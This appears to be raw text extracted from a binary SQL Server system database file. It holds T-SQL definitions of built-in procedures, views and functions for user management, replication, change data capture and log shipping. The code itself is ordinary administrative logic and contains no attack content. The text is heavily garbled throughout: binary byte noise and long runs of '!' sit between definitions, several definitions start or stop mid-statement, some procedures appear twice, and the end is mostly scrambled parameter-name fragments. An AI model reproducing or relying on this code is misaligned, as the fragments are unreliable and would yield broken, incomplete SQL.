        (@constraint_name is null or o.name = @constraint_name) and
        (@constraint_catalog is null or @constraint_catalog = db_name()) and
        (@constraint_schema is null or @constraint_schema = schema_name(o.schema_id)) and
        (@constraint_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
01
 H8--
-- Name: fn_repltagcustomproc
--
-- Description: This function takes a given command and TAG based on 
-- custom procedure name of the form XXXX sp_MSxxx_custom_proc_name 
-- and decorates this as XXXX [sp_MSxxx_custom_proc_nameTAG]
--
-- Parameters: 
--  @cmd    	nvarchar(255)
--  @proctag	nvarchar(12)
-- 
-- Returns: nvarchar(255) 
--
-- Notes: 
-- 1) This function returns the input if no processing is done
-- 2) Command validation is not done inside the function
-- it is not exposed for public use - sp_addarticle uses this function
-- and the caller does the command validation already
--
-- Security: Not exposed as Public Object
-- 
CREATE FUNCTION sys.fn_repltagcustomproc
(
	@cmd nvarchar(255),
	@proctag nvarchar(12)
)
RETURNS nvarchar(255)
AS
BEGIN
	DECLARE @orig_cmd nvarchar(255)
	
	SELECT @orig_cmd = LTRIM(RTRIM(@cmd))

	IF LEFT(UPPER(@orig_cmd), 5) in (N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL')
	BEGIN
		SELECT @cmd = RTRIM(LEFT(UPPER(@orig_cmd), 5))
						+ N' '
						+ QUOTENAME(SUBSTRING(PARSENAME(LTRIM(RIGHT(@orig_cmd, LEN(@cmd) - 5)), 1), 1, (128 - len(@proctag))) + @proctag)

		--  parsename returns NULL on invalid parse then return original string
		IF @cmd IS NULL
		BEGIN
			SELECT @cmd = @orig_cmd
		END
	END

	RETURN @cmd
END
t_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
0YN 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_table_constraints_rowset;2
(
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null,
    @constraint_catalog sysname = null,
    @constraint_type    nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
--        CONSTRAINT_TYPE     = case (syscon.status & 0xf)
        CONSTRAINT_TYPE     = case syscon.type
--                                when 1 then N'PRIMARY KEY'
                                when 'PK' then N'PRIMARY KEY'
--                                when 2 then N'UNIQUE'
                                when 'UQ' then N'UNIQUE'
--                                when 3 then N'FOREIGN KEY'
                                when 'F' then N'FOREIGN KEY'
--                                when 4 then N'CHECK'
                                when 'C' then N'CHECK'
                                else null
                              end,
        IS_DEFERRABLE       = convert(bit, 0),
        INITIALLY_DEFERRED  = convert(bit, 0),
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects o,
        sys.all_objects t_obj,
--        sysconstraints syscon
        sys.all_objects syscon
    where
        t_obj.type in ('U','S') and
        (@table_catalog is null or @table_catalog = db_name()) and
        (@table_schema is null or @table_schema = schema_name(t_obj.schema_id)) and
        syscon.parent_object_id = t_obj.object_id and
        (syscon.type in ('PK', 'UQ', 'F', 'C')) and
        o.object_id    = syscon.object_id and
        o.schema_id = schema_id() and
        (@constraint_name is null or o.name = @constraint_name) and
        (@constraint_catalog is null or @constraint_catalog = db_name()) and
        (@constraint_schema is null or @constraint_schema = schema_name(o.schema_id)) and
        (@constraint_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%W`E
	<%p1D0a` 8create procedure sys.sp_adduser
	@loginame       sysname,	    -- user's login name in syslogins
	@name_in_db     sysname = NULL, -- user's name to add to current db
	@grpname		sysname = NULL  -- role to which user should be added.
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int

    -- LIMIT TO SQL/NT USERS IN SYSLOGINS (BCKWRD COMPAT ONLY!)
	if not exists (select * from master.dbo.syslogins where loginname = @loginame
			and (isntuser = 1 or isntname = 0))
        and @loginame <> 'guest'
    begin
        raiserror(15007,-1,-1,@loginame)
        return (1)
    end

	-- VALIDATE THE ROLENAME --
    if @grpname is not null and
	   not exists (select * from sysusers where name = @grpname and issqlrole = 1)
    begin
	    raiserror(15014,-1,-1,@grpname)
	    return (1)
    end

    if @name_in_db is null
        select @name_in_db = @loginame

	-- In Hydra only the user dbo can do this --
    if (not is_member('dbo') = 1)
	begin
	    -- AUDIT FAILED SECURITY CHECK --
        dbcc auditevent (109, 1, 0, @loginame, @name_in_db, @grpname , NULL, NULL, NULL, NULL)
		raiserror(15247,-1,-1)
		return (1)
	end

    -- ADD THE USER TO THE DATABASE --
    EXEC @ret = sys.sp_grantdbaccess @loginame, @name_in_db OUT
    if (@ret <> 0)
        return (1)

    -- ADD USER TO ROLE IF GIVEN. NOP FOR 'public' --
    if (@grpname is not null) and (@grpname <> 'public')
    begin
        EXEC @ret = sys.sp_addrolemember @grpname, @name_in_db
        if @ret <> 0
		begin
			-- "ROLLBACK" THE ABOVE sp_grantdbaccess --
			exec sys.sp_revokedbaccess @name_in_db
            return (1)
		end
    end

    -- RETURN SUCCESS --
    return (0) -- sp_adduser
0Be@ 8CREATE VIEW sys.dm_xe_session_events AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSION_EVENTS) 
0p 8create procedure sys.sp_requestpeertopologyinfo
(
	@publication	sysname,
	@request_id	int = NULL output
)
as
begin
	set nocount on

	declare @OPT_ENABLED_FOR_P2P int
	
	declare @retcode		int,
			@cmd			nvarchar(4000),
			@originator		sysname,
			@originator_db	sysname

	select @OPT_ENABLED_FOR_P2P = 0x1
	
	select @cmd = NULL,	
			@request_id = NULL,
			@originator = publishingservername(),
			@originator_db = db_name()

	-- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
	end

	-- this procedure can not be executed in a user
	-- transaction because it needs to be in its own tran
	-- space (it can not be mixed with replicated cmds).
	--
	-- we use this tmp table insert to force any implicit
	-- transaction (user may set IMPLICIT_TRANSACTIONs on)
	declare @check_tran table(col1 int)
	insert into @check_tran(col1) values (1)
	
	if @@trancount > 0
	begin
		-- The procedure 'sp_requestpeerresponse' cannot be executed within a transaction.
		raiserror(15002, 16, -1, 'sp_requestpeertopologyinfo')
		return 1
	end
	
	-- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
    begin
		-- The database is not published.
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- check publication name
	if @publication is null
    begin
		-- The parameter @publication cannot be NULL.
        raiserror (14043, 16, -1, @publication, 'sp_requestpeertopologyinfo')
        return 1
    end

	-- validate publication setting
	if not exists(select * 
					from syspublications
					where (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
						and name = @publication)	
	begin
		-- The Peer-To-Peer publication ''%s'' does not exist.
		raiserror (20808, 16, -1, @publication)
		return 1
	end

	begin transaction tr_sp_requestpeertopologyinfo
	save transaction tr_sp_requestpeertopologyinfo

	insert into MSpeer_topologyrequest
		(
			publication
		) 
		values
		(
			@publication
		)
	if @@error <> 0 
	begin
		-- The procedure sys.sp_requestpeertopolgyinfo failed to INSERT into the resource MSpeer_topologyrequest. Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_requestpeertopolgyinfo', 'INSERT into', 'MSpeer_request.', @@error)
		goto FAILURE
	end

	select @request_id = scope_identity()

	insert into MSpeer_topologyresponse
		(
			request_id,
			peer,
			peer_version,
			peer_db
		)
		select distinct @request_id,
				UPPER(originator),
				originator_version,
				originator_db
			from MSpeer_lsns
			where
				originator_publication = @publication
	if @@error <> 0
	begin
		-- The procedure sys.MSpeer_topologyrequest failed to INSERT into the resource MSpeer_topologyresponse Server error =  0.
		raiserror (21499, 16, -1, 'sys.MSpeer_topologyrequest', 'INSERT into', 'MSpeer_topologyresponse.', @@error)
		goto FAILURE
	end

	--send logic to handle older servers with the command
	select @cmd = N'if object_id(N''sys.sp_MSpeersendtopologyinfo'', ''P'') is not null begin '+
					N'exec sys.sp_MSpeersendtopologyinfo @request_id=' + cast(@request_id as nvarchar) + 
												N',@originator=N' + quotename(@originator, '''') + 
												N',@originator_db=N' + quotename(@originator_db, '''') +
												N',@originator_publication=N' + quotename(@publication, '''') +
				--if the server is old, send the apply command back with no connection info
				N' end else begin declare @cmd nvarchar(max) select @cmd = N'''+
					N'if object_id(N''''sys.sp_MSpeerapplytopologyinfo'''', ''''P'''') is not null ' + 
					N'begin ' +
					    N'exec sys.sp_MSpeerapplytopologyinfo @request_id=' + cast(@request_id as nvarchar) +
												N',@originator=N''' + quotename(@originator, '''') + N'''' +
												N',@originator_db=N''' + quotename(@originator_db, '''') + N'''' +
												N',@response_srvr=N''+quotename(publishingservername(), '''''''')+N''' +
												N',@response_db=N''+quotename(db_name(), '''''''') + N''' + 
												N',@response_srvr_version= @@microsoftversion ' +
												N',@response_originator_id = NULL ' +
												N',@response_conflict_retention = NULL ' +
					N'end' +
				       N''' exec sys.sp_MSpeertopeerfwdingexec @command = @cmd, @publication = N'+quotename(@publication, '''')+N', @execute = 0 end'
				
	exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
													@publication = @publication,
													@execute = 1,
													@change_results_originator = 1
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_requestpeertopologyinfo

	return 0
FAILURE:
	rollback transaction tr_sp_requestpeertopologyinfo
	commit transaction

	return 1
	
end
Oh	7      ) and
        (@index_name is null or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
4	&
``:<R
&0@g@ 8
-- add it
create view sys.dm_pdw_exec_requests as
select
	request_id	collate database_default request_id,
	session_id	collate database_default session_id,
	status		collate database_default status,
	submit_time,
	start_time,
	end_compile_time,
	end_time,
	total_elapsed_time,
	label		collate database_default label,
	error_id	collate database_default error_id,
	database_id,
	command		collate database_default command
from sys._dm_pdw_exec_requests
`;3	<	_30f 8CREATE VIEW sys.dm_db_mirroring_connections AS
    SELECT 
	    connection_id,
	    transport_stream_id,
	    state,
	    state_desc = sn.name,
	    connect_time,
	    login_time,
	    authentication_method,
	    principal_name,
	    remote_user_name,
	    last_activity_time,
	    is_accept,
	    login_state,
	    login_state_desc = ln.name,
	    peer_certificate_id,
	    encryption_algorithm = encalg,
	    encryption_algorithm_desc = ag.name,
	    receives_posted,
	    is_receive_flow_controlled,
	    sends_posted,
	    is_send_flow_controlled,
	    total_bytes_sent,
	    total_bytes_received,
	    total_fragments_sent,
	    total_fragments_received,
	    total_sends,
	    total_receives,
	    peer_arbitration_id
    FROM OpenRowset (TABLE SBCONNECTIONENDPOINTS) as c
    LEFT OUTER JOIN sys.syspalvalues ag ON ag.class = 'EPET' AND ag.value = c.encalg
    LEFT OUTER JOIN sys.syspalvalues sn ON sn.class = 'EPCS' AND sn.value = c.state
    LEFT OUTER JOIN sys.syspalvalues ln ON ln.class = 'EPLS' AND ln.value = c.login_state
        WHERE c.endpoint_type = 1 -- x_eetDbMirroring
0$( p8create function sys.dm_db_index_operational_stats
	(
	@DatabaseId			SMALLINT	= 0,
	@TableId			INT 		= 0,
	@IndexId 			INT 		= -1,
	@PartitionNumber	INT			= 0
	)
returns table
as
	return select *
	from OpenRowset
			(	TABLE
				VIRTUALINDEXSTATS, 
				@DatabaseId, 
				@TableId, 
				@IndexId, 
				@PartitionNumber)

0(+ 8create function sys.fn_remote_schemata(
	@server		sysname,
	@catalog	sysname = NULL,
	@name		sysname = NULL,
	@owner		sysname = NULL)
returns table
as
return	select * from OpenRowset(SYSREMOTE_SCHEMATA, @server, @catalog, @name, @owner)
0b 8--
-- Name: fn_replrotr
--
-- Description: This is just a T-SQL implementation of the C function
--              _rotr().
--
-- Parameter:  @number int
--             @shift  int
--
-- Notes:      The effective shift will the positive remainder of @shift 
--             divided by 32. _rotl() can be implemented by passing in 
--             a negative shift.
--
-- Returns:    int
--
-- Security:   Execute permission of this function is granted to public.
--
create function sys.fn_replrotr(
    @number int,
    @shift int
    ) returns int
as
begin
    declare @bitstring char(32)
    select @shift = @shift % 32
    if @shift < 0
        select @shift = @shift + 32

    if (@shift != 0)
    begin
        select @bitstring = sys.fn_replinttobitstring(@number)   
        select @bitstring = substring(@bitstring,32-@shift+1,@shift) + substring(@bitstring,1,32-@shift) 
        select @number = sys.fn_replbitstringtoint(@bitstring)
    end
    return @number
end
0@ 8create procedure sys.sp_add_log_shipping_alert_job 
(
    @alert_job_id uniqueidentifier = null output
)
as
begin
    set nocount on
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- call internal proc
    --
    exec @retcode = sys.sp_add_log_shipping_alert_job_internal 
        @alert_job_id = @alert_job_id output
    --
    -- all done
    --
    return @retcode
end
0d *8create procedure [sys].[sp_MScdc_cleanup_job]
as
begin
	declare @retcode int
			,@db_name sysname
			,@retention bigint
			,@threshold bigint
	
    set nocount on
    
    set @db_name = db_name()

    -- Verify caller is authorized to clean up database change tables 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
    begin
   		raiserror(22904, 16, -1)
        return(1)
    end

    -- Verify database is enabled for change data capture 
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22910, 16, -1, @db_name)
        return(1)
    end

	-- get cleanup retention and threshold from msdb
    exec @retcode = sp_cdc_get_cleanup_retention @retention output, @threshold output
    if @retcode <> 0 or @@error <> 0
		return(1)

    -- If retention is negative or greater than 52594800 ( 100 years) fail
    if (@retention is null) or (@retention <= 0) or (@retention > 52594800)
    begin
		raiserror(22994, 16, -1)
		return(1)
	end
	
    -- If threshold is negative fail
    if (@threshold is null) or (@threshold <= 0) 
    begin
		raiserror(22850, 16, -1)
		return(1)
	end	
  
	-- Call internal stored procedure to do the work here.
	-- Switch to database 'cdc' user to mitigate against malicious DML triggers.
	execute as user = 'cdc'
	
	exec @retcode = sys.sp_cdc_cleanup_job_internal @retention, @threshold
    if @retcode <> 0 or @@error <> 0
    begin
		revert
		return(1)
	end
	
	revert	
    
    return(0)
end
0' 8create procedure sys.sp_changetracking_time_to_csn
(
    @time datetime
    ,@csn bigint output
)
as
begin
    set nocount on

    if object_id('sys.syscommittab') is not null
    begin
        select top 1 @csn = commit_ts from sys.syscommittab 
            where commit_time <= @time and @csn is not null
            order by commit_time desc, commit_ts desc
    end
end
 info for all articles
--
-- Inputs:
--		@publisher			== publisher name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by help article procedures
--		Assumes temp table #ORAtablespaceinfo exists
--

CREATE PROCEDURE sys.sp_ORAGetTablespaceInfo
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode			int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
	DECLARE @pubid				int

	SET NOCOUNT ON
	
	-- Get publisher ID
	SELECT	@pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Set publisher DBMS and version
	SELECT	@publisher_dbms	= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Get all article log tables with tablespace info
	SELECT @InsColumnList    = 'article_id, tablespace'
	SELECT @SelectColumnList = '*'
	INSERT INTO #hquery(cmd) VALUES('SELECT	HPT.PUBLISHED_ARTICLEID, UT.TABLESPACE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('FROM USER_TABLES UT, HREPL_PUBLISHEDTABLES HPT ')
	INSERT INTO #hquery(cmd) VALUES('WHERE UT.TABLE_NAME = (''HREPL_ARTICLE'' || TO_CHAR(HPT.PUBLISHED_TABLEID) || ''LOG_'' || TO_CHAR(HPT.PUBLISHED_LOGINSTANCE)) ')
	INSERT INTO #hquery(cmd) VALUES('AND HPT.PUBLISHED_ARTICLEDROPPENDING = 0 AND HPT.PUBLISHED_LOGDROPPENDING = 0 ')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#ORAtablespaceinfo',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		DROP TABLE #hquery
		
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	DROP TABLE #hquery
	
	RETURN (@retcode)
END
z
=
>VkLvy`S<#G0 8CREATE VIEW sys.fulltext_thesaurus_files AS
	select lcid as [lcid], 
		   thesaurus_file_path as [thesaurus_file_path]
		   from sys.fn_ft_thesaurus_files()
0c@ 8 
-- add it
create view sys.dm_pdw_os_event_logs as
select
	pdw_node_id,
	log_name	collate database_default log_name,
	log_source	collate database_default log_source,
	event_id,
	event_type	collate database_default event_type,
	event_message	collate database_default event_message,
	generate_time,
	write_time
from sys._dm_pdw_os_event_logs
0se 8create procedure sys.sp_MSstopmerge_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstopmerge_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@stop tinyint

    set @stop = 1
    exec @retcode = sys.sp_MSmergeagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @stop
    return @retcode
end
0N 8create procedure [sys].[sp_cdc_enable_db]
as
begin
	declare @retcode int
			,@containment tinyint
			,@db_name sysname

    -- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    IF (sys.fn_MSrepl_editionid () not in (30,31))
    BEGIN
        DECLARE @edition sysname
        SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
        RAISERROR(22988, 16, -1, @edition)
        RETURN (1)
    END
    
    -- Verify caller is authorized to enable change data capture for the database 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
		raiserror(22902, 16, -1)
		return 1
    end

    /*
    ** Contained Database check (Replication is not yet supported on contained databases)
    ** If the current database is a contained database, then we error out.
    */
    SELECT @containment=containment FROM sys.databases WHERE
        database_id = db_id()
    if (@containment != 0)
    BEGIN
        set @db_name = db_name()
        RAISERROR(12839, 16, -1, @db_name)
        RETURN(1)
    END
    
    exec @retcode = sys.sp_cdc_enable_db_internal
    
    if (@@error <> 0) or (@retcode <> 0)
    begin
		return 1
	end
	
	return 0
end
0.@ 8
create procedure sys.sp_MSdrop_expired_mergesubscription90
AS
begin
	declare @subscriber sysname
	, @subscriber_db sysname
	, @publisher sysname
	, @publisher_db sysname
	, @publication sysname
	, @retcode int
    , @distributor sysname
	, @distribdb sysname
	, @distproc nvarchar(400)
	, @index int
	
	select @publisher = UPPER(publishingservername())
	select @publisher_db = db_name()
	select @index = 0
		
	declare expired_subscriber_info cursor local fast_forward for
	select sms.subscriber_server, sms.db_name, smp.name
	from dbo.sysmergesubscriptions sms join dbo.sysmergepublications smp
	on sms.pubid = smp.pubid
	and sys.fn_MSmerge_islocalpubid(smp.pubid) = 1
	and sms.replica_version >= 90 
	and sms.cleanedup_unsent_changes = 1
	and sms.pubid <> sms.subid
	for read only
	
	open expired_subscriber_info 
	
	fetch next from expired_subscriber_info into @subscriber, @subscriber_db, @publication
	
	while @@fetch_status <> -1
	begin
		
		-- get distributor info only once, the very first time once we know at least one sub has expired.
		if @index = 0
		begin
		
			-- Get distribution server information for remote RPC call.
			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher      = @publisher,
    														@rpcsrvname     = @distributor OUTPUT,
    														@distribdb      = @distribdb OUTPUT
		    												
			if @@error <> 0 or @retcode <> 0
				return 1
			
			SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '..sp_MScleanup_subscription_distside_entry'
			
			select @index = @index + 1
		end
	
	    EXEC @retcode = @distproc @publisher = @publisher,
									@publisher_db = @publisher_db,
									@publication = @publication,
									@subscriber = @subscriber,
									@subscriber_db = @subscriber_db
		if @@error <> 0 or @retcode <> 0
			goto FAILURE
									
	
	fetch next from expired_subscriber_info into @subscriber, @subscriber_db, @publication
	end
	
	close expired_subscriber_info
	deallocate expired_subscriber_info
	
	return 0
	
FAILURE:

	close expired_subscriber_info
	deallocate expired_subscriber_info
	
	return 1
end
         --
                    -- get the next key for the index
                    --
                    select @indkey = @indkey + 1
                end -- while (@indkey <= 16) 
                --
                -- If we have found any replicated non PK unique key column
                -- then we do not need to process any further
                --
                if (@retcode =1)
                    break
                --
                -- fetch next unique index
                --
                fetch #hcindid into @indid
            end -- while (@@fetch_status != -1)
            close #hcindid
            deallocate #hcindid
        end
    end
    --
    -- all done
    --
    return @retcode
end
0se 8create procedure sys.sp_MSstopmerge_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstopmerge_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@stop tinyint

    set @stop = 1
    exec @retcode = sys.sp_MSmergeagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @stop
    return @retcode
end
0N 8create procedure [sys].[sp_cdc_enable_db]
as
begin
	declare @retcode int
			,@containment tinyint
			,@db_name sysname

    -- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    IF (sys.fn_MSrepl_editionid () not in (30,31))
    BEGIN
        DECLARE @edition sysname
        SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
        RAISERROR(22988, 16, -1, @edition)
        RETURN (1)
    END
    
    -- Verify caller is authorized to enable change data capture for the database 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
		raiserror(22902, 16, -1)
		return 1
    end

    /*
    ** Contained Database check (Replication is not yet supported on contained databases)
    ** If the current database is a contained database, then we error out.
    */
    SELECT @containment=containment FROM sys.databases WHERE
        database_id = db_id()
    if (@containment != 0)
    BEGIN
        set @db_name = db_name()
        RAISERROR(12839, 16, -1, @db_name)
        RETURN(1)
    END
    
    exec @retcode = sys.sp_cdc_enable_db_internal
    
    if (@@error <> 0) or (@retcode <> 0)
    begin
		return 1
	end
	
	return 0
end
Cmgk!h`r-|<)H@290-E@objname0-A@nomsg0-
..KCurrent LSN0-
>>GOperation0-
>>CContext0-
QTransaction ID0-
YLogBlockGeneration0-
ETag Bits0-
44cLog Record Fixed Length0-
44WLog Record Length0-
	..MPrevious LSN0-

GFlag Bits0-
88
KLog Reserve0-
KAllocUnitId0-

OAllocUnitName0-
CPage ID0-
88
CSlot ID0-
..WPrevious Page LSN0-
KPartitionId0-
44ERowFlags0-
44MNum Elements0-
44OOffset in Row0-
44KModify Size0-
00UCheckpoint Begin0-
44aCHKPT Begin DB Version0-
IMax XDESID0-
44UNum Transactions0-
00QCheckpoint End0-
44]CHKPT End DB Version0-
..KMinimum LSN0-
88
KDirty Pages0-
..kOldest Replicated Begin LSN0-
..cNext Replicated End LSN0-
 ..sLast Distributed Backup End LSN0-
!..eLast Distributed End LSN0-88
M@assembly_id0-U@assembly_schema0-88
]@assembly_referenced0-CS@procedure_name0-C88
O@group_number0-CW@procedure_schema0-CS@parameter_name0-9C@object0-9A@owner0-stM@publication0-stdG@property0-stA@value0-sthhi@force_invalidate_snapshot0-sthhi@force_reinit_subscription0-stI@publisher0-stS@publisher_type0-fXa@qualified_object_name0-f$$A@artid0-fll&M@range_begin0-fll&I@range_end0-fll&W@next_range_begin0-fll&S@next_range_end0-f00K@range_type0-f00Q@ranges_needed0-e$$A@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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01Jc Cd
ex1.|>cp#g

no

`p-3)QP0H0-Be44Isession_id0-Be88
Kdatabase_id0-Beouser_objects_alloc_page_count0-Besuser_objects_dealloc_page_count0-Bewinternal_objects_alloc_page_count0-Be{internal_objects_dealloc_page_count0-'
$$Ireplica_id0-'
88
Urouting_priority0-'
$$]read_only_replica_id0-UpT@@Ccounter0-UpTIoccurrence0-UpT>>5?value0-*W4=name0-*W$$[object_package_guid0-*W88
Cmap_key0-*W4Gmap_value0-y 9G@job_name0-y 9C@job_id0-y 9$$O@job_step_uid0-hhK@queued_pub0-hhU@identity_insert0-Q.O@process_name0-Q.M@DbPrincipal0-M@publication0-[@destination_folder0-K@subscriber0-Q@subscriber_db0-I@publisher0-tqce@destination_object_name0-tqcc@destination_owner_name0-eM@object_name0-jU@distribution_db0-jI@publisher0-jM@publication0-qI@publisher0-qO@publisher_db0-qM@publication0-qK@subscriber0-qQ@subscriber_db0-q88
]@distribution_status0-q_@distribution_message0-q==Y@distribution_time0-q	88
a@distribution_duration-ohh0-o88
A@tabid0-ZM@publication0-ZE@article0-ZK@subscriber0-ZS@destination_db0-ZI@sync_type0-ZC@status0-ZY@subscription_type0-Z<M@update_mode0-Z	
[@loopback_detection0-Z
88
S@frequency_type0-Z88
[@frequency_interval0-Z88
m@frequency_relative_interval0-Z
88
m@frequency_recurrence_factor0-Z88
W@frequency_subday0-Z88
i@frequency_subday_interval0-Z88
g@active_start_time_of_day0-Z88
c@active_end_time_of_day0-Z88
Y@active_start_date0-Z88
U@active_end_date0-Z@a@optional_command_line0-ZG@reserved0-Z
]@enabled_for_syncmgr0-ZhhO@offloadagent0-ZQ@offloadserver0-ZW@dts_package_name0-Z_@dts_package_password0-Z_@dts_package_location0-Za@distribution_job_name0-ZI@publisher0-Z(W@backupdevicetype0-ZW@backupdevicename0-Z Q@mediapassword0-Z!G@password0-Z"88
K@fileidhint0-Z#hhC@unload0-Z$
U@subscriptionlsn0-Z%00]@subscriptionstreams0-Z&00U@subscriber_type0-88
A@objid0-88
A@artid0-hhU@identity_insert0-hhK@queued_pub0-U{g88
A@artid0-U{g00?@mode0-U{g00Q@publishertype0-U{gI@publisher0-TI@publisher0-TO@publisher_db0-TM@publication0-T88
E@version-N88
0-N C@varbin

0
7RzIj
	R	i&OK:x)f"p-JS4=8'W&xw4M		mMc`--sD)v;v0-9wW@TableNamePattern0-9w#K@OptionName0-9wM@OptionValue0-`1?@name0-`1K@level0type0-`1K@level0name0-`1K@level1type0-`1K@level1name0-`1K@level2type0-`1K@level2name0-BGDriveName0-ƋI@publisher0-ƋO@publisher_db0-ƋM@publication0-Ƌ$$C@job_id0-F88
G@agent_id0-F88
